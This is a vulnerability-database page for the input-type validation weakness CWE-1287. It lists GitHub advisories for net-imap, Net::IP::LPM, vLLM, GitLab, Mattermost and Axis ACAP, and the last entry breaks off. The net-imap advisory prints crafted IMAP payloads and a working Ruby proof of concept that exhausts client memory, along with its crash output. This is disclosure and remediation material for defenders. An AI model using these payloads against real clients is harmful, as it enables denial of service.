GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-1287

Allowed

Improper Validation of Specified Type of Input

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.

280 vulnerabilities reference this CWE, most recent first.

GHSA-7FC5-F82F-CX69

Vulnerability from github – Published: 2025-02-10 17:42 – Updated: 2025-04-30 20:43
VLAI
Summary
Possible DoS by memory exhaustion in net-imap
Details

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available. For v0.4.19, the default value is true. For v0.5.6, the default value is :up_to_max_size. For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size. When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError. When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError. For v0.4.19, the limit defaults to 1000. For v0.5.6, the limit defaults to 100. For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

ruby limit = 1000 imap.add_response_handler do |resp| next unless resp.respond_to?(:name) && resp.respond_to?(:data) name = resp.name code = resp.data.code&.name if resp.data.respond_to?(:code) if Net::IMAP::VERSION > "0.4.0" imap.responses(name) { _1.slice!(0...-limit) } imap.responses(code) { _1.slice!(0...-limit) } else imap.responses(name).slice!(0...-limit) imap.responses(code).slice!(0...-limit) end end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.2"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "0.4.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-400",
      "CWE-405",
      "CWE-409",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T17:42:43Z",
    "nvd_published_at": "2025-02-10T16:15:39Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`\u0027s response parser.  At any time while the client is connected, a malicious server can send  can send highly compressed `uid-set` data which is automatically read by the client\u0027s receiver thread.  The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP\u0027s `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set.  When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers.  On a 64 bit system, these arrays will expand to 8 bytes for each number in the set.  A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server.  This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn\u0027t validated.  Arrays larger than\n# UINT32_MAX can be created.  For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n  input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n  parser = Net::IMAP::ResponseParser.new\n  parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n                               parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.  These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers).  Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference.  Code that does handle these responses _may_ need to be updated.  See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false`  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen  `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses.  However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses.  _This is not significantly different from connecting to a trusted server with a long-lived connection._  To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n  ```ruby\n  limit = 1000\n  imap.add_response_handler do |resp|\n    next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n    name = resp.name\n    code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n    if Net::IMAP::VERSION \u003e \"0.4.0\"\n      imap.responses(name) { _1.slice!(0...-limit) }\n      imap.responses(code) { _1.slice!(0...-limit) }\n    else\n      imap.responses(name).slice!(0...-limit)\n      imap.responses(code).slice!(0...-limit)\n    end\n  end\n  ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire \u0027socket\u0027\nrequire \u0027net/imap\u0027\n\nif !defined?(Net::IMAP.config)\n  puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n  puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n  puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n  Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n  TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n  th = Thread.new do\n    yield\n  end\n  sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n  sock = server.accept\n  begin\n    sock.print \"* OK test server\\r\\n\"\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n\n    malicious_response = appenduid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n\n    malicious_response = copyuid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n    sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n    sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n    sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n    sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n  rescue Exception =\u003e ex\n    puts \"Error in server: #{ex.message} (#{ex.class})\"\n  ensure\n    sock.close\n    server.close\n  end\nend\n\n# client\nbegin\n  puts \"Client connecting,..\"\n  imap = Net::IMAP.new(server_addr, port: port)\n  puts \"Received capabilities: #{imap.capability}\"\n  pp responses: imap.responses\n  imap.logout\nrescue Exception =\u003e ex\n  puts \"Error in client: #{ex.message} (#{ex.class})\"\n  puts ex.full_message\nensure\n  imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process\u0027s virtual memory.  The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in \u0027Net::IMAP#get_tagged_response\u0027: failed to allocate memory (NoMemoryError)\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in \u0027block in Net::IMAP#send_command\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in \u0027Net::IMAP#send_command\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in \u0027block in Net::IMAP#capability\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in \u0027Net::IMAP#capability\u0027\n        from /workspace/poc.rb:70:in \u0027\u003cmain\u003e\u0027\n```",
  "id": "GHSA-7fc5-f82f-cx69",
  "modified": "2025-04-30T20:43:04Z",
  "published": "2025-02-10T17:42:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/net-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Possible DoS by memory exhaustion in net-imap"
}

GHSA-7FFQ-HWVW-J35C

Vulnerability from github – Published: 2025-06-27 15:31 – Updated: 2026-09-07 21:30
VLAI
Details

Net::IP::LPM version 1.10 for Perl does not properly consider leading zero characters in IP CIDR address strings, which could allow attackers to bypass access control that is based on IP addresses.

Leading zeros are used to indicate octal numbers, which can confuse users who are intentionally using octal notation, as well as users who believe they are using decimal notation.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-40910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-27T13:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Net::IP::LPM version 1.10 for Perl does not properly consider leading zero characters in IP CIDR address strings, which could allow attackers to bypass access control that is based on IP addresses.\n\nLeading zeros are used to indicate octal numbers, which can confuse users who are intentionally using octal notation, as well as users who believe they are using decimal notation.",
  "id": "GHSA-7ffq-hwvw-j35c",
  "modified": "2026-09-07T21:30:20Z",
  "published": "2025-06-27T15:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40910"
    },
    {
      "type": "WEB",
      "url": "https://blog.urth.org/2021/03/29/security-issues-in-perl-ip-address-distros"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/RRWO/Net-IP-LPM-1.11/changes"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/TPODER/Net-IP-LPM-1.10/diff/TPODER/Net-IP-LPM-1.09/lib/Net/IP/LPM.pm"
    },
    {
      "type": "WEB",
      "url": "https://rt.cpan.org/Ticket/Display.html?id=179855"
    },
    {
      "type": "WEB",
      "url": "https://security.metacpan.org/patches/N/Net-IP-LPM/1.10/CVE-2025-40910-r1.patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7H4P-RFFG-7823

Vulnerability from github – Published: 2026-06-17 14:02 – Updated: 2026-07-17 16:40
VLAI
Summary
vLLM: temperature=NaN and temperature=Infinity bypass validation and propagate to GPU kernels
Details

Summary

All temperature validation gates use comparison operators (<, >), which silently evaluate to False for NaN and for positive Infinity in Python's IEEE 754 float semantics. Both values pass every guard and propagate to GPU sampling kernels, where they produce undefined behavior or CUDA errors that can crash the inference worker. Note: -Infinity is correctly caught.

Root Cause

sampling_params.py:384:

if 0 < self.temperature < _MAX_TEMP:  # NaN → False; +Inf → False

sampling_params.py:462:

if self.temperature < 0.0:            # NaN → False; +Inf → False
    raise VLLMValidationError(...)

No math.isnan() or math.isinf() check exists anywhere in sampling_params.py.

Python semantics (verified): float('nan') < 0.0 → False, float('inf') < 0.0 → False.

Impact

Crash of inference worker on GPU kernel execution with NaN/Inf softmax input, degrading service for all concurrent users.

Remediation

Add math.isfinite(self.temperature) check in _verify_args(). Reject non-finite float values with a 400 error.

Fix

A fix for this vulnerability was merged here: https://github.com/vllm-project/vllm/pull/45116

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.5"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54235"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:02:22Z",
    "nvd_published_at": "2026-06-22T23:16:31Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAll temperature validation gates use comparison operators (`\u003c`, `\u003e`), which silently evaluate to `False` for `NaN` and for positive `Infinity` in Python\u0027s IEEE 754 float semantics. Both values pass every guard and propagate to GPU sampling kernels, where they produce undefined behavior or CUDA errors that can crash the inference worker. Note: `-Infinity` is correctly caught.\n\n## Root Cause\n\n`sampling_params.py:384`:\n```python\nif 0 \u003c self.temperature \u003c _MAX_TEMP:  # NaN \u2192 False; +Inf \u2192 False\n```\n\n`sampling_params.py:462`:\n```python\nif self.temperature \u003c 0.0:            # NaN \u2192 False; +Inf \u2192 False\n    raise VLLMValidationError(...)\n```\n\nNo `math.isnan()` or `math.isinf()` check exists anywhere in `sampling_params.py`.\n\nPython semantics (verified): `float(\u0027nan\u0027) \u003c 0.0` \u2192 `False`, `float(\u0027inf\u0027) \u003c 0.0` \u2192 `False`.\n\n\n## Impact\n\nCrash of inference worker on GPU kernel execution with NaN/Inf softmax input, degrading service for all concurrent users.\n\n## Remediation\n\nAdd `math.isfinite(self.temperature)` check in `_verify_args()`. Reject non-finite float values with a 400 error.\n\n## Fix\n\nA fix for this vulnerability was merged here: https://github.com/vllm-project/vllm/pull/45116",
  "id": "GHSA-7h4p-rffg-7823",
  "modified": "2026-07-17T16:40:01Z",
  "published": "2026-06-17T14:02:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-7h4p-rffg-7823"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54235"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/45116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/d598d239737cfa37bcfcb98886ec3f3557fc7198"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7h4p-rffg-7823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3405.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vLLM: temperature=NaN and temperature=Infinity bypass validation and propagate to GPU kernels"
}

GHSA-7JQP-VCG7-7X84

Vulnerability from github – Published: 2023-09-29 09:30 – Updated: 2024-04-04 07:58
VLAI
Details

Denial of Service in pipelines affecting all versions of Gitlab EE and CE prior to 16.2.8, 16.3 prior to 16.3.5, and 16.4 prior to 16.4.1 allows attacker to cause pipelines to fail.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3917"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-29T07:15:13Z",
    "severity": "HIGH"
  },
  "details": "Denial of Service in pipelines affecting all versions of Gitlab EE and CE prior to 16.2.8, 16.3 prior to 16.3.5, and 16.4 prior to 16.4.1 allows attacker to cause pipelines to fail.",
  "id": "GHSA-7jqp-vcg7-7x84",
  "modified": "2024-04-04T07:58:11Z",
  "published": "2023-09-29T09:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3917"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2055158"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/417896"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7W4F-5RCV-Q8PC

Vulnerability from github – Published: 2025-01-15 18:30 – Updated: 2025-01-15 18:30
VLAI
Details

Mattermost Mobile Apps versions <=2.22.0 fail to properly validate post props which allows a malicious authenticated user to cause a crash via a malicious post.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T17:15:18Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost Mobile Apps versions \u003c=2.22.0 fail to properly validate post props which allows a malicious authenticated user to cause a crash via a malicious post.",
  "id": "GHSA-7w4f-5rcv-q8pc",
  "modified": "2025-01-15T18:30:58Z",
  "published": "2025-01-15T18:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20036"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7X49-43RQ-5F5C

Vulnerability from github – Published: 2025-11-11 09:30 – Updated: 2025-11-11 09:30
VLAI
Details

An ACAP configuration file lacked sufficient input validation, which could allow for arbitrary code execution. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
